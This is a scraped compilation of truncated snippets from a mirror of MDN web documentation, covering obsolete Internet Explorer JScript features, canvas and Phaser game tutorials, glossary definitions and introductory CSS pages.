Warning: This method is supported in Internet Explorer only. The getVarDate method returns a VT_DATE value from a Date object. Syntax dateObj.getVarDate() Parameters The required dateObj reference is a Date object. Return Value Returns a VT_DATE value. Remarks The getVarDate() method is used when
JavaScript code interacts with COM objects, ActiveX objects, or other objects that accept and return date values in VT_DATE format. These include objects in Visual Basic and Visual Basic Scripting Edition (VBScript). The actual format of the returned value depends on regional settings. Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standards, and Internet ...
Debug.write - Archive of obsolete content
unction. The only difference is that the Debug.writeln function sends a newline character after the strings are sent. Example This example uses the Debug.write function to display the value of the variable in the Immediate window of the script debugger. Note: To run this example, you must have a script debugger installed and the script must run in debug mode. Internet Explorer 8 includes the
JavaScript debugger. If you are using an earlier version of Internet Explorer, see How to: Enable and Start Script Debugging from Internet Explorer. var counter = 42; Debug.write("The value of counter is " + counter); Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standards, ...
Debug.writeln - Archive of obsolete content
difference is that the Debug.write function does not send a newline character after sending the strings. Example This example uses the Debug.writeln function to display the value of the variable in the Immediate window of the Microsoft Script Debugger. Note: To run this example, you must have a script debugger installed and the script must run in debug mode. Internet Explorer 8 includes the
JavaScript debugger. If you are using an earlier version of Internet Explorer, see How to: Enable and Start Script Debugging from Internet Explorer. var counter = 42; Debug.writeln("The value of counter is " + counter); Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standar...
Debug - Archive of obsolete content
class. There are different ways to debug Internet Explorer and Windows 8.x Store apps. In Windows 8.x Store apps, the write and writeln functions of the Debug object display strings in the Visual Studio Output window at run time. To debug Internet Explorer scripts, you must have a script debugger installed and the script must run in debug mode. Internet Explorer 8 and later versions include the
JavaScript debugger. If the script is not being debugged, the Debug methods and properties have no effect. Constants Async Callback Status Codes Contant Description Value Debug.MS_ASYNC_CALLBACK_STATUS_ASSIGN_DELEGATE The synchronous work item assigned a callback or continuation to be run by an asynchronous operation. 0 Debug.MS_ASYNC_CALLBACK_STATUS_JOIN The sy...
ScriptEngine() - Archive of obsolete content
The ScriptEngine function gets the name of the scripting language in use. Syntax ScriptEngine() Remarks The ScriptEngine function returns "JScript", which indicates that
JavaScript is the current scripting engine. Example The following example illustrates the use of the ScriptEngine function: if (window.ScriptEngine) { console.log(window.ScriptEngine()); } // Output: JScript Requirements Supported in the following document modes: Quirks, Internet Explorer 6 standards, Internet Explorer 7 standards, Internet Explorer 8 standards, Internet Explorer 9 standards, Internet Explorer 10 standards, Internet Explorer 11 standards. Also supported in Store apps (Windows 8 and Windows Phone 8.1). ...
@cc_on - Archive of obsolete content
ation to ignore it. It is strongly recommended that you use the @cc_on statement in a comment, so that browsers that do not support conditional compilation will accept your script as valid syntax: An @if or @set statement outside of a comment also activates conditional compilation. Example The following example illustrates the use of the @cc_on statement. ...
@if - Archive of obsolete content
. This is because the capabilities of the compilers can be determined by using other methods. When you write a script for a Web page, always add conditional compilation code in comments. This enables hosts that do not support conditional compilation to ignore it. Example The following example illustrates the use of the @if...@elif...@else...@end statement. ...
ECMAScript 2015 support in Mozilla - Archive of obsolete content
Code-named "ES.next", "Harmony", or "ECMAScript 6", the first working draft (based on ECMAScript 5.1) was published on July 12, 2011 as "ES.next". In August 2014, the ECMAScript 2015 draft specification was feature frozen and went through a stabilization and bug fixing period. Finally, ECMA-262 Edition 6 got officially approved and published as a standard on June 17, 2015 by the ECMA General Assembly. ...
Object.prototype.__noSuchMethod__ - Archive of obsolete content
o arguments, the first is the name of the method attempted and the second is an array of the arguments that were passed in the method call. The second argument is an actual array (that is, it inherits through the Array.prototype chain) and not the array-like arguments object. If this method cannot be called, either as if undefined by default, if deleted, or if manually set to a non-function, the
JavaScript engine will revert to throwing TypeErrors. Examples Simple test of __noSuchMethod__ var o = { __noSuchMethod__: function(id, args) { console.log(id, '(' + args.join(', ') + ')'); } }; o.foo(1, 2, 3); o.bar(4, 5); o.baz(); // Output // foo (1, 2, 3) // bar (4, 5) // baz () Using __noSuchMethod__ to simulate multiple inheritance An example of code...
Object.prototype.unwatch() - Archive of obsolete content
ts has a serious negative impact on performance, which is especially true when used on global objects, such as window. You can usually use setters and getters or proxies instead. The unwatch() method removes a watchpoint set with the watch() method. Syntax obj.unwatch(prop) Parameters prop The name of a property of the object to stop watching. Return value undefined. Description The
JavaScript debugger has functionality similar to that provided by this method, as well as other debugging options. For information on the debugger, see Venkman. By default, this method is inherited by every object descended from Object. Note: The reason for unwatch() to take the property name prop as its only parameter is due to the "single handler allowing" behavior of the watch() method. Examples Se...
Object.prototype.watch() - Archive of obsolete content
(or nullify) the value assignment, by returning a modified newval (or by returning oldval). If you delete a property for which a watchpoint has been set, that watchpoint does not disappear. If you later recreate the property, the watchpoint is still in effect. To remove a watchpoint, use the unwatch() method. By default, the watch method is inherited by every object descended from Object. The
JavaScript debugger has functionality similar to that provided by this method, as well as other debugging options. For information on the debugger, see Venkman. In Firefox, handler is only called from assignments in script, not from native code. For example, window.watch('location', myHandler) will not call myHandler if the user clicks a link to an anchor within the current document. However, window.locati...
java - Archive of obsolete content
Summary Core Object A top-level object used to access any Java class in the package java.*. The support for this object was removed in Gecko 16, see LiveConnect for details. Created by The java object is a top-level, predefined
JavaScript object. You can automatically access it without using a constructor or calling a method. Description The java object is a convenience synonym for the property Packages.java. See also Packages, Packages.java ...
forEach - Archive of obsolete content
orEach: kValue = O[ Pk ]; should be kValue = O[ k ]; <hr> This page has been the target of a revert war, and so write access to it has been restricted. If you wish to make changes, and especially if you wish to revert another user's changes, please either add a comment here, or post to dev-mdc@lists.mozila.org, explaining the change you desire. jswisher 15 Aug 2011 <hr> Is this a from _core_ of
JavaScript 1.5? If so, is JS 1.5 Gecko only? Those extra features like forEach are Gecko only, and it should be mentioned that they should *_not_* be used on web pages. --Gandalf 07:18, 31 May 2005 (PDT) Is there a way to make forEach make use of break? [1].forEach(function(value, index, array){ print(value); //break? if (value>1){ return false;//we could have some way to break when we return false }...
Implementation Status - Archive of obsolete content
supported 10.8 dispatch supported 10.9 rebuild partial is dispatching events instead of calling directly 332231; 10.10 recalculate partial is dispatching events instead of calling directly. Recalculate won't properly mark nodes as dirty if they were changed using
JavaScript interfaces. 332231; 349805; 10.11 revalidate partial is dispatching events instead of calling directly 332231; 10.12 refresh partial is dispatching events instead of calling directly 332231; 10.13 reset supported 10.14 load partial no ...
Requests For Enhancement - Archive of obsolete content
). Then you can give a vote by clicking on the 'vote' link on the bug page. The XForms team looks at votes to help determine which bug is more important for our XForms users. RFE categories XForms API This section contains RFE to the XForms API. Custom Controls I think that XForms is a great way to show that 14 year old HTML hacks CAN build really powerful web apps and reduce the need for
JavaScript by 90%. Now we need to start teaching XForms to web newcomers before they are brainwashed into believing that the only way to build cool web apps is to do DOM surgery with
Javascript! Dan McCreary. One of the outstanding features of XForms is that it can work with any XML host language. Natively, the Mozilla XForms implementation supports XForms elements being hosted in XHTML and XUL documents. ...
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
w common rules, or a common set of standards all the time. Memos, time cards, and accounting procedures are all standardized across groups. In the development world, there is a need for standards because applications are designed across multiple development groups. Many organizations publish internal development standards and practices. For example, an organization may decide that C++, Java, and
JavaScript will be the primary coding languages. They may require that each project be comprised of Marketing Requirements Documents, Product Requirements Documents, Functional Requirements Documents, Quality Assurance Test Plans, and Certification Documents. As organizations mature, they discover that they need more processes to give them greater control, which allows them to more easily plan and predict.
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
or some Web sites. This technote explains the source of the problems and how to avoid encountering them. Many authors make use of the CSS2 pseudo-class :hover to style their links. This innovation, first introduced by Microsoft(R) Internet Explorer and later adopted into the CSS specification, is very popular for the styling of text links, particularly those that are supposed to look and act like
JavaScript-driven "rollovers." However, advancing CSS support in browsers has caused some unexpectedly aggressive hovering behavior on some pages. Hover and Non-Link Elements Section 5.11.3 of CSS2 defines the three dynamic pseudo-classes (:hover, :active, and :focus) and then goes on to say: CSS doesn't define which elements may be in the above states, or how the states are entered and left. Scripting m...
Popup Window Controls - Archive of obsolete content
ws even if the user has popup controls enabled on your site. Detecting Suppressed Popups Windows If a user has popup controls enabled for your site, any attempt to call window.open in global script, in an onload handler or in setTimeout() or setInterval() will return null rather than a reference to the opened window. ...
XQuery - Archive of obsolete content
rd language which is meant to be for XML what SQL is for relational data--i.e., the ability to search, sort, extract, and remold data. It offers powerful and yet intuitive searching based on XPath, has SQL-like syntax for the query portion, and has scripting features such as function and variable definitions, XML-inclusion, etc. While XQuery is currently not supported in Firefox (whether through
JavaScript to developers or to browser users), at least one extension has been developed to give a preliminary support for XQuery for browser users (and serving as a simple model for how XQuery can be implemented within extensions). XqUSEme is a working proof-of-concept (so far tested on Windows and Linux with Java installed; Mac does not work) extension which allows one to perform XQueries on external URL...
Examples - Game development
The first two sections list playable games, while the second is a catch-all area to list demos that aren't necessarily interactive/games. Free/demo games Beloola WebVR platform to connect passionate people. Experience both available on 2D screens and on VR HMDs (Settings / Switch to VR mode). Tanx A multiplayer tank battle game, created with PlayCanvas. Hyper Vanguard Force A neat vertically scrolling space shooter. ...
Building up a basic demo with PlayCanvas - Game development
ers as you go. Swooop is a flying game where you pilot your plane around a magical island, collecting jewels and fuel as you go. Visualizations like the Star Lord and BMW i8 also take advantage of the engine and showcase what's possible. Note: Check out the list of featured demos to find more examples. Engine vs editor The engine itself can be used as a standard library by including its
JavaScript file directly in your HTML, so you can start coding right away; in addition the PlayCanvas toolset comes with an online editor that you can use to drag and drop components onto the scene -- a great way to create games and other apps requiring scenes if you're more of a designer than a coder. Those approaches are different but work equally well regarding achieving end goals. PlayCanvas engine Bu...
Crisp pixel art look with image-rendering - Game development
he original image we want to upscale looks like this: Here's some HTML to create a simple canvas: <canvas id="game" width="128" height="128"></canvas> CSS to size the canvas and render a crisp image: canvas { width: 512px; height: 512px; image-rendering: -moz-crisp-edges; image-rendering: -webkit-crisp-edges; image-rendering: pixelated; image-rendering: crisp-edges; } And some
JavaScript to set up the canvas and load the image: // get canvas context var ctx = document.getElementById('game').getContext('2d'); // load image var image = new Image(); image.onload = function () { // draw the image into the canvas ctx.drawImage(image, 0, 0); } image.src = 'https://udn.realityripple.com/samples/11/a2954fe197.png'; This code used together produces the following result: Note...
Tiles and tilemaps overview - Game development
popular technique in 2D game development, consisting of building the game world or level map out of small, regular-shaped images called tiles. This results in performance and memory usage gains -- big image files containing entire level maps are not needed, as they are constructed by small images or image fragments multiple times. This set of articles covers the basics of creating tile maps using
JavaScript and Canvas (although the same high level techniques could be used in any programming language.) Besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor. Some popular games that use this technique are Super Mario Bros, Pacman,...
Move the ball - Game development
position every frame to make the impression of movement -- just like how movement works with the movies. Defining a drawing loop To keep constantly updating the canvas drawing on each frame, we need to define a drawing function that will run over and over again, with a different set of variable values each time to change sprite positions, etc. You can run a function over and over again using a
JavaScript timing function such as setInterval() or requestAnimationFrame(). Delete all the
JavaScript you currently have inside your HTML file except for the first two lines, and add the following below them. The draw() function will be executed within setInterval every 10 miliseconds: function draw() { // drawing code } setInterval(draw, 10); Thanks to the infinite nature of setInterval the draw() ...
Paddle and keyboard controls - Game development
ed with boolean variables like in the example. Add these lines somewhere near the rest of your variables: var rightPressed = false; var leftPressed = false; The default value for both is false because at the beginning the control buttons are not pressed. To listen for key presses, we will set up two event listeners. Add the following lines just above the setInterval() line at the bottom of your
JavaScript: document.addEventListener("keydown", keyDownHandler, false); document.addEventListener("keyup", keyUpHandler, false); When the keydown event is fired on any of the keys on your keyboard (when they are pressed), the keyDownHandler() function will be executed. The same pattern is true for the second listener: keyup events will fire the keyUpHandler() function (when the keys stop being pressed). ...
Track the score and win - Game development
mpleting this lesson at Gamedev-Canvas-workshop/lesson8.html. Destroying the bricks is really cool, but to be even more awesome the game could award points for every brick a user hits, and keep count of the total score. Counting the score If you can see your score throughout the game, eventually you can impress your friends. You need a variable to record the score. Add the following into your
JavaScript, after the rest of your variables: var score = 0; You also need a drawScore() function, to create and update the score display. Add the following after the collisionDetection() function: function drawScore() { ctx.font = "16px Arial"; ctx.fillStyle = "#0095DD"; ctx.fillText("Score: "+score, 8, 20); } Drawing text on a canvas is similar to drawing a shape. The font definition looks...
Build the brick field - Game development
<< PreviousNext >> This is the 9th step out of 16 of the Gamedev Phaser tutorial. You can find the source code as it should look after completing this lesson at Gamedev-Phaser-Content-Kit/demos/lesson09.html. Building the brick field is a little bit more complicated than adding a single object to the screen, although It's still easier with Phaser than in pure
JavaScript. Let's explore how to create a group of bricks and print them on screen using a loop. Defining new variables First, let's define the needed variables -- add the following below your previous variable definitions: var bricks; var newBrick; var brickInfo; The bricks variable will be used to create a group, newBrick will be a new object added to the group on every iteration of the loop, and brickInfo will store...
Collision detection - Game development
first one is the ball, which we explicitly defined in the collide method, and the second one is the single brick from the bricks group that the ball is colliding with. Inside the function we remove the brick in question from the screen simply by running the kill() method on it. You would expect to have to write a lot more calculations of your own to implement collision detection when using pure
JavaScript. That's the beauty of using the framework -- you can leave a lot of boring code to Phaser, and focus on the most fun and interesting parts of making a game. Compare your code You can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: Next steps We can hit the bricks and remove them, which is a nice addition to the gameplay alr...
Initialize the framework - Game development
s your index.html file. Update the src value of the first <script> element as shown above. Walking through what we have so far At this point we have a charset defined, <title> and some basic CSS in the header to reset the default margin and padding. We also have a <script> element to apply the Phaser source code to the page. The body contains a second <script> element, where we will write the
JavaScript code to render the game and control it. The <canvas> element is generated automatically by the framework. We are initializing it by creating a new Phaser.Game object and assigning it to the game variable. The parameters are: The width and height to set the <canvas> to. The rendering method. The three options are AUTO, CANVAS and WEBGL. We can set one of the latter two explicitly or use AUTO ...
Move the ball - Game development
to understand better how it works: Next steps The next step is to add some basic collision detection, so our ball can bounce off the walls. This would take several lines of code -- a significantly more complex step than we have seen so far, especially if we want to add paddle and brick collisions too -- but fortunately Phaser allows us to do this much more easily than if we wanted to use pure
JavaScript. In any case, before we do all that we will first introduce Phaser's physics engines, and do some setup work. << PreviousNext >> ...
Game development
esources for web developers wanting to develop games. You will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore. We've also included a reference section so you can easily find information about all the most common APIs used in game development. Note: Creating games on the web draws on a number of core web technologies such as HTML, CSS, and
JavaScript. The Learning Area is a good place to go to get started with the basics. Port native games to the Web If you are a native developer (for example writing games in C++), and you are interested in how you can port your games over to the Web, you should learn more about our Emscripten tool -- this is an LLVM to
JavaScript compiler, which takes LLVM bytecode (e.g. generated from C/C++ using Clang,...
Plug-in Development Overview - Gecko Plugin API Reference
part of the the browser user interface, your plug-in can emulate the browser behavior by providing status line messages. Use the NPN_Status method to display a message on the status line. For information about using this method, see Version, UI, and Status Information. Making Plug-ins Scriptable Scriptable plug-ins are plug-ins that have been extended to provide methods that can be called from
JavaScript and the DOM when accessed through the object or embed element. Consider the following example, where a media player plug-in can be controlled with an advanceToNextSong() method called inside the script element: <object id="myPlugin" type="audio/wav" data="music.wav"> </object> <script type="application/
javascript"> var thePlugin = document.getElementById('myPlugin'); if (thePlugin &...
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
Ajax, which initially stood for Asynchronous
JavaScript And XML, is a programming practice of building complex, dynamic webpages using a technology known as XMLHttpRequest. Ajax allows you to update parts of the DOM of an HTML page instead without the need for a full page refresh. Ajax also lets you work asynchronously, meaning your code continues to run while the targeted part of your web page is trying to reload (compared to synchronously, which blocks your code from running until that part of your page is done reloading). With interactive websites and modern web standards, Ajax is gradually being replaced by functions within
JavaScript frameworks and the official Fetch API Standard. ...
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
eds to be stored and transferred over media that are designed to deal with ASCII. This is to ensure that the data remain intact without modification during transport. Base64 is commonly used in a number of applications including email via MIME, and storing complex data in XML. One common application of base64 encoding on the web is to encode binary data so it can be included in a data: URL. In
JavaScript there are two functions respectively for decoding and encoding base64 strings: btoa(): creates a base-64 encoded ASCII string from a "string" of binary data ("btoa" should be read as "binary to ASCII"). atob(): decodes a base64 encoded string("atob" should be read as "ASCII to binary"). The algorithm used by atob() and btoa() is specified in RFC 4648, section 4. Note that btoa() expects to...
Block - MDN Web Docs Glossary: Definitions of Web-related terms
. underneath the preceding element in a horizontal writing mode, and above the following element (commonly known as a block-level element). For example, <p> is by default a block-level element, whereas <a> is an inline element -- you can put several links next to one another in your HTML source and they will sit on the same line as one another in the rendered output. Block (scripting) In
JavaScript, a block is a collection of related statements enclosed in braces ("{}"). For example, you can put a block of statements after an if (condition) block, indicating that the interpreter should run the code inside the block if the condition is true, or skip the whole block if the condition is false. ...
CDN - MDN Web Docs Glossary: Definitions of Web-related terms
A CDN (Content Delivery Network) is a group of servers spread out over many locations. These servers store duplicate copies of data so that servers can fulfill data requests based on which servers are closest to the respective end-users. CDNs make for fast service less affected by high traffic. CDNs are used widely for delivering stylesheets and
Javascript files (static assets) of libraries like Bootstrap, jQuery etc. Using CDN for those library files is preferable for a number of reasons: Serving libraries' static assets over CDN lowers the request burden on an organization's own servers. Most CDNs have servers all over the globe, so CDN servers may be geographically nearer to your users than your own servers. Geographical distance affects latency proportionally. CDNs are already conf...
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
The same-origin security policy forbids cross-origin access to resources. But CORS gives web servers the ability to say they want to opt into allowing cross-origin access to their resources. Learn more General knowledge Cross-Origin Resource Sharing (CORS) on MDN Cross-origin resource sharing on Wikipedia CORS headers Access-Control-Allow-Origin Indicates whether the response can be shared. ...
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
CSS (Cascading Style Sheets) is a declarative language that controls how webpages look in the browser. The browser applies CSS style declarations to selected elements to display them properly. A style declaration contains the properties and their values, which determine how a webpage looks. CSS is one of the three core Web technologies, along with HTML and
JavaScript. CSS usually styles HTML elements, but can be also used with other markup languages like SVG or XML. A CSS rule is a set of properties associated with a selector. Here is an example that makes every HTML paragraph yellow against a black background: /* The selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* The "color" property defines the text color, in this case yellow. */ c...
CSS Object Model (CSSOM) - MDN Web Docs Glossary: Definitions of Web-related terms
ery similar to the Document Object Model (DOM). Both of them are part of the critical rendering path which is a series of steps that must happen to properly render a website. The CSSOM, together with the DOM, to build the render tree, which is in turn used by the browser to layout and paint the web page. CSSOM API The CSS Object Model is also a set of APIs allowing the manipulation of CSS from
JavaScript. It is much like the DOM, but for the CSS rather than the HTML. It allows users to read and modify the CSS style dynamically. See Also Populating the page: how browsers work ...
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
When a script calls a function, the interpreter adds it to the call stack and then starts carrying out the function. Any functions that are called by that function are added to the call stack further up, and run where their calls are reached. When the current function is finished, the interpreter takes it off the stack and resumes execution where it left off in the last code listing. ...
Canvas - MDN Web Docs Glossary: Definitions of Web-related terms
The canvas element is part of HTML5 and allows for dynamic, scriptable rendering of 2D and 3D shapes and bitmap images. It is a low level, procedural model that updates a bitmap and does not have a built-in scene graph. It provides an empty graphic zone on which specific
JavaScript APIs can draw (such as Canvas 2D or WebGL). Learn more General knowledge Canvas on Wikipedia Learning resources The Canvas tutorial on MDN Technical information The HTML <canvas> element on MDN The Canvas general documentation on MDN CanvasRenderingContext2D: The canvas 2D drawing API The Canvas 2D API specification ...
Fetch metadata request header - MDN Web Docs Glossary: Definitions of Web-related terms
A fetch metadata request header is a HTTP request header that provides additional information about the context the request originated from. These header names are prefixed with Sec- and thus they are forbidden header names so headers can not be modified from
JavaScript. Fetch metadata request headers provide the server with additional information about where the request originated from, enabling it to ignore potentially malicious requests. The following are fetch metadata request headers: Sec-Fetch-Site Sec-Fetch-Mode Sec-Fetch-User Sec-Fetch-Dest ...
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
First input delay (FID) measures the time from when a user first interacts with your site (i.e. when they click a link, tap on a button, or use a custom,
JavaScript-powered control) to the time when the browser is actually able to respond to that interaction. It is the length of time, in milliseconds, between the first user interaction on a web page and the browser's response to that interaction. Scrolling and zooming are not included in this metric. The time between when content is painted to the page and when all the functionality becomes responsive to human interaction often varies based on the the size and complexity of the
JavaScript needing to be downloaded, parsed, and executed on the main thread, and on the device speed or lack thereof (think low end mobile devices). The longer the ...
Fuzz testing - MDN Web Docs Glossary: Definitions of Web-related terms
automated tools to provide invalid or unexpected input to a program or function in a program, then checking the results to see if the program crashes or otherwise acts inappropriately. This is an important way to ensure that software is stable, reliable, and secure, and we use fuzzing a lot at Mozilla. Jesse's blog posts about fuzzing Wikipedia: Fuzz testing fuzzdb jsfuzz - coverage guided
javascript fuzzer ...
Gaia - MDN Web Docs Glossary: Definitions of Web-related terms
The user interface and default application suite of the Firefox OS platform. Once Firefox OS starts, anything drawn to screen is a product of the Gaia layer (e.g., the lock screen, home screen, standard apps). Gaia is implemented entirely with HTML, CSS, and
JavaScript, and its only interfaces to the underlying operating system are through open Web APIs, which the Gecko layer implements. You can install third-party apps alongside Gaia. Learn more Technical reference Gaia platform guide Gaia development/hacking guide ...
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
Gecko is the layout engine developed by the Mozilla Project and used in many apps/devices, including Firefox and Firefox OS. Web browsers need software called a layout engine to interpret HTML, CSS,
JavaScript, and embedded content (like images) and draw everything to your screen. Besides this, Gecko makes sure associated APIs work well on every operating system Gecko supports, and that appropriate APIs are exposed only to relevant support targets. This means that Gecko includes, among other things, a networking stack, graphics stack, layout engine, a
JavaScript virtual machine, and porting layers. Since all Firefox OS apps are Web apps, Firefox OS uses Gecko as its app runtime as well. Learn more General knowledge Gecko on Wikipedia Technical Reference The Gecko documentation on...
Graceful degradation - MDN Web Docs Glossary: Definitions of Web-related terms
Graceful degradation is a design philosophy that centers around trying to build a modern web site/application that will work in the newest browsers, but falls back to an experience that while not as good still delivers essential content and functionality in older browsers. Polyfills can be used to build in missing features with
JavaScript, but acceptable alternatives to features like styling and layout should be provided where possible, for example by using the CSS cascade, or HTML fallback behaviour. Some good examples can be found in Handling common HTML and CSS problems. It is a useful technique that allows Web developers to focus on developing the best possible websites, given that those websites are accessed by multiple unknown user-agents. Progressive enhancement is related but diffe...
Houdini - MDN Web Docs Glossary: Definitions of Web-related terms
ne. Houdini gives developers access to the CSS Object Model (CSSOM), enabling developers to write code the browser can parse as CSS. The benefit of Houdini is that developers can create CSS features without waiting for web standards specifications to define them and without waiting for every browser to fully implement the features. While many of the features Houdini enables can be created with
JavaScript, interacting directly with the CSSOM before
JavaScript is enabled provides for faster parse times. Browsers create the CSSOM -- including layout, paint, and composite processes -- before applying any style updates found in scripts: layout, paint, and composite processes are repeated for updated
JavaScript styles to be implemented. Houdini code doesn't wait for that first rendering cycle to be co...
Identifier - MDN Web Docs Glossary: Definitions of Web-related terms
An identifier is a sequence of characters in the code that identifies a variable, function, or property. In
JavaScript, identifiers are case-sensitive and can contain Unicode letters, $, _, and digits (0-9), but may not start with a digit. An identifier differs from a string in that a string is data, while an identifier is part of the code. In
JavaScript, there is no way to convert identifiers to strings, but sometimes it is possible to parse strings into identifiers. Learn more General knowledge Identifier on Wikipedia ...
IndexedDB - MDN Web Docs Glossary: Definitions of Web-related terms
IndexedDB is a Web API for storing large data structures within browsers and indexing them for high-performance searching. Like an SQL-based RDBMS, IndexedDB is a transactional database system. However, it uses
JavaScript objects rather than fixed columns tables to store data. Learn more The IndexedDB API on MDN The W3C specification for IndexedDB ...
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
JSON can represent numbers, booleans, strings, null, arrays (ordered sequences of values), and objects (string-value mappings) made up of these values (or of other arrays and objects). JSON does not natively represent more complex data types like functions, regular expressions, dates, and so on. ...
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
An SPA (Single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via
JavaScript APIs such as XMLHttpRequest and Fetch when different content is to be shown. This therefore allows users to use websites without loading whole new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as SEO, more effort required to maintain state, implement navigation, and do meaningful performance monitoring. Learn more General knowledge Some of the most popular SPA frameworks include: React Angular Vue.JS ...
Scope - MDN Web Docs Glossary: Definitions of Web-related terms
The current context of execution. The context in which values and expressions are "visible" or can be referenced. If a variable or other expression is not "in the current scope," then it is unavailable for use. Scopes can also be layered in a hierarchy, so that child scopes have access to parent scopes, but not vice versa. A function serves as a closure in
JavaScript, and thus creates a scope, so that (for example) a variable defined exclusively within the function cannot be accessed from outside the function or within other functions. For instance, the following is invalid: function exampleFunction() { var x = "declared inside function"; // x can only be used in exampleFunction console.log("Inside function"); console.log(x); } console.log(x); // Causes error However, the f...
Serialization - MDN Web Docs Glossary: Definitions of Web-related terms
The process whereby an object or data structure is translated into a format suitable for transferral over a network, or storage (e.g. in an array buffer or file format). In
JavaScript, for example, you can serialize an object to a JSON string by calling the function JSON.stringify(). CSS values are serialized by calling the function CSSStyleDeclaration.getPropertyValue(). Learn more General knowledge Serialization on Wikipedia ...
Signature (functions) - MDN Web Docs Glossary: Definitions of Web-related terms
A function signature (or type signature, or method signature) defines input and output of functions or methods. A signature can include: parameters and their types a return value and type exceptions that might be thrown or passed back information about the availability of the method in an object-oriented program (such as the keywords public, static, or prototype). In depth Signatures in
JavaScript JavaScript is a loosely typed or a dynamic language. That means you don't have to declare the type of a variable ahead of time. The type will get determined automatically while the program is being processed. A signature in
JavaScript can still give you some information about the method: MyObject.prototype.myFunction(value) The method is installed on an object called MyObject. The method is...
Sloppy mode - MDN Web Docs Glossary: Definitions of Web-related terms
ECMAScript 5 and later let scripts opt in to a new strict mode, which alters the semantics of
JavaScript in several ways to improve its resiliency and which make it easier to understand what's going on when there are problems. The normal, non-strict mode of
JavaScript is sometimes referred to as sloppy mode. This isn't an official designation, but you are likely to come across it if you spend time doing serious
JavaScript code. Learn more General knowledge "Strict Mode" in chapter 7 ("
JavaScript Syntax") in the book Speaking
JavaScript. ...
Statement - MDN Web Docs Glossary: Definitions of Web-related terms
In a computer programming language, a statement is a line of code commanding a task. Every program consists of a sequence of statements. Learn more General knowledge Statement (computer science) on Wikipedia Technical reference
JavaScript statements and declarations ...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
vents, render and paint the display, and to run the majority of the code that comprises a typical web page or app. Because these things are all happening in one thread, a slow website or app script slows down the entire browser; worse, if a site or app script enters an infinite loop, the entire browser will hang. This results in a frustrating, sluggish (or worse) user experience. However, modern
JavaScript offers ways to create additional threads, each executing independently while possibly communicating between one another. This is done using technologies such as web workers, which can be used to spin off a sub-program which runs concurrently with the main thread in a thread of its own. This allows slow, complex, or long-running tasks to be executed independently of the main thread, preserving the...
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
In
JavaScript, a truthy value is a value that is considered true when encountered in a Boolean context. All values are truthy unless they are defined as falsy (i.e., except for false, 0, -0, 0n, "", null, undefined, and NaN).
JavaScript uses type coercion in Boolean contexts. Examples of truthy values in
JavaScript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (new Date()) if (-42) if (12n) if (3.14) if (-3.14) if (Infinity) if (-Infinity) Specifications Specification ECMAScript (ECMA-262)The definition of 'ToBoolean abstract operation' in that specification. ...
Type coercion - MDN Web Docs Glossary: Definitions of Web-related terms
s from one data type to another (such as strings to numbers). Type conversion is similar to type coercion because they both convert values from one data type to another with one key difference -- type coercion is implicit whereas type conversion can be either implicit or explicit. Examples const value1 = '5'; const value2 = 9; let sum = value1 + value2; console.log(sum); In the above example,
JavaScript has coerced the 9 from a number into a string and then concatenated the two values together, resulting in a string of 59.
JavaScript had a choice between a string or a number and decided to use a string. The compiler could have coerced the 5 into a number and returned a sum of 14, but it did not. To return this result, you'd have to explicitly convert the 5 to a number using the Number() method:...
WebGL - MDN Web Docs Glossary: Definitions of Web-related terms
The Khronos Group maintains WebGL, which is based on OpenGL ES 2.0. You can invoke WebGL within the HTML <canvas> element, which provides a rendering surface. All major browsers now support WebGL, but its availability depends also on external factors (e.g. GPU support). ...
CSS values and units - Learn web development
words along with a quoted generated content string. Functions The final type of value we will take a look at is the group of values known as functions. In programming, a function is a reusable section of code that can be run multiple times to complete a repetitive task with minimum effort on the part of both the developer and the computer. Functions are usually associated with languages like
JavaScript, Python, or C++, but they do exist in CSS too, as property values. We've already seen functions in action in the Colors section -- rgb(), hsl(), etc. The value used to return an image from a file -- url() -- is also a function. A value that behaves more like something you might find in a traditional programming language is the calc() CSS function. This function gives you the ability to do simple...
How CSS works - Learn web development
happens. The browser loads the HTML (e.g. receives it from the network). It converts the HTML into a DOM (Document Object Model). The DOM represents the document in the computer's memory. The DOM is explained in a bit more detail in the next section. The browser then fetches most of the resources that are linked to by the HTML document, such as embedded images and videos ... and linked CSS!
JavaScript is handled a bit later on in the process, and we won't talk about it here to keep things simpler. The browser parses the fetched CSS, and sorts the different rules by their selector types into different "buckets", e.g. element, class, ID, and so on. Based on the selectors it finds, it works out which rules should be applied to which nodes in the DOM, and attaches style to them as required (this ...
What is CSS? - Learn web development
erty is likely to be found among other similar things and are therefore probably in the same specification. For a specific example, let's go back to the Backgrounds and Borders module -- you might think that it makes logical sense for the background-color and border-color properties to be defined in this module. And you'd be right. CSS Specifications All web standards technologies (HTML, CSS,
